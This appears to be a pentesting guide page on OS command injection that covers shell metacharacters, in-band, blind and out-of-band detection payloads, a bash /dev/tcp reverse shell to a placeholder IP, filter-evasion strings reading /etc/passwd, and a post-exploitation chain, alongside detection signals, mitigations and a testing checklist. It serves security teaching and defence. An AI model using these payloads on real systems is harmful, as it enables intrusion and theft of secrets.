Skip to content

Command injection

OS command injection happens when the app builds a system command by concatenating user input and runs it in a shell. The attacker injects their own commands, which the server executes with the web process’s privileges. It usually leads to remote code execution (RCE): one of the highest-impact flaws, since it gives direct access to the host.

RCE on the server, file read/write, secret and credential theft, reverse shell, pivot into the internal network, persistence and often full host compromise and whatever is behind it (DB, cloud).

It appears in features that call system utilities through a shell: ping/traceroute, converters (ffmpeg/ImageMagick), antivirus, thumbnailing, backups, PDF export. If the code runs ping -c1 <host> via /bin/sh, metacharacters let you chain commands:

; cmd2 | cmd2 || cmd2
&& cmd2 & cmd2 $(cmd2) `cmd2` # substitution
%0a cmd2 (newline)

A separate case: argument injection, when you don’t control a shell but do control a binary’s arguments (e.g. injecting --output or -o into curl/tar), which can also lead to read/write or execution.

  • In-band: the command’s output returns in the response.
  • Blind: you don’t see output; confirm by timing or OOB.
  • Argument injection: injecting flags/options instead of commands.

Identify parameters that may end up in a command (hosts, filenames, conversion options, paths). Flag indirect ones (file metadata, headers passed to tools).

Ventana de terminal
# In-band: direct output
127.0.0.1 && id
127.0.0.1; uname -a
# Time-based blind (reliable even without output)
127.0.0.1 & ping -c 5 127.0.0.1 # does the response take ~5s?
127.0.0.1 | sleep 5
# OOB blind (confirm with your domain)
127.0.0.1; nslookup $(whoami).oob.tld
127.0.0.1; curl http://oob.tld/$(id|base64)

To prove impact without damage: a reverse shell to your listener (authorized scope):

Ventana de terminal
# victim
127.0.0.1; bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
# attacker
nc -lvnp 4444

Techniques depending on the filter (authorized lab only):

# Filtered spaces
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
cat%09/etc/passwd # %09 = tab
# Filtered keywords: quotes, concatenation, variables, globbing
w'h'oami c""at /etc/passwd /bin/c?t /etc/passwd
a=who;b=ami;$a$b
echo d2hvYW1p | base64 -d | sh # "whoami" in base64
# Alternative separators
cmd1 $(cmd2) cmd1 `cmd2` cmd1%0acmd2 # %0a = newline if ; is filtered

commix (automates detection/exploitation, incl. blind and OOB), interactsh/Burp Collaborator for blind, and nc/socat for shells.

RCE → secret exfiltration (.env, cloud keys, DB credentials) → pivot; if it runs in a container, attempt escape; if it has a cloud role, account takeover.

  • The web process (nginx/php-fpm/node) spawning shells or unusual binaries (sh, bash, nc, curl, whoami, id) — a strong EDR signal.
  • Anomalous child processes of the app server; outbound connections to odd IPs/ports (reverse shell).
  • Repeated latency spikes (time-based blind) and outbound DNS to unknown domains (OOB).

Process creation (auditd on Linux, Sysmon on Windows), EDR/XDR, app logs with the built command, and web-segment egress/DNS.

  1. Avoid the shell. Don’t build command lines by concatenation. Use APIs that take program + arguments as a list, with no interpreter: subprocess.run([...], shell=False) (Python), execFile/spawn without shell (Node), ProcessBuilder (Java).
  2. If invoking binaries is unavoidable, strictly allow-list values and validate by pattern; never block-list metacharacters.
  3. Least privilege for the process (unprivileged user), container with read-only FS, seccomp/AppArmor/SELinux, and no unnecessary egress.
  4. Prefer the language’s native libraries over calling OS utilities.

Isolate the host, rotate every secret the process could reach, hunt for webshells/persistence, rebuild from a clean image, and patch the injection point.

  • Shellshock (CVE-2014-6271, 2014) — command injection in Bash via environment variables; remotely exploitable through CGI → mass RCE on servers and IoT.
  • Apache Struts / Equifax (CVE-2017-5638, 2017) — an injection that led to command execution and enabled the breach of ~147 million people.
  • Routers / cameras / IoT — command injection in web admin features (ping, diagnostics) is endemic and the basis of botnets like Mirai.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Direct and indirect parameters reaching a command identified.
  • In-band (id) or blind (timing/OOB) injection confirmed.
  • Evasion tested if filtered (${IFS}, concatenation, encoding).
  • Argument injection evaluated when there’s no shell.
  • Impact proven with a harmless (never destructive) command in scope.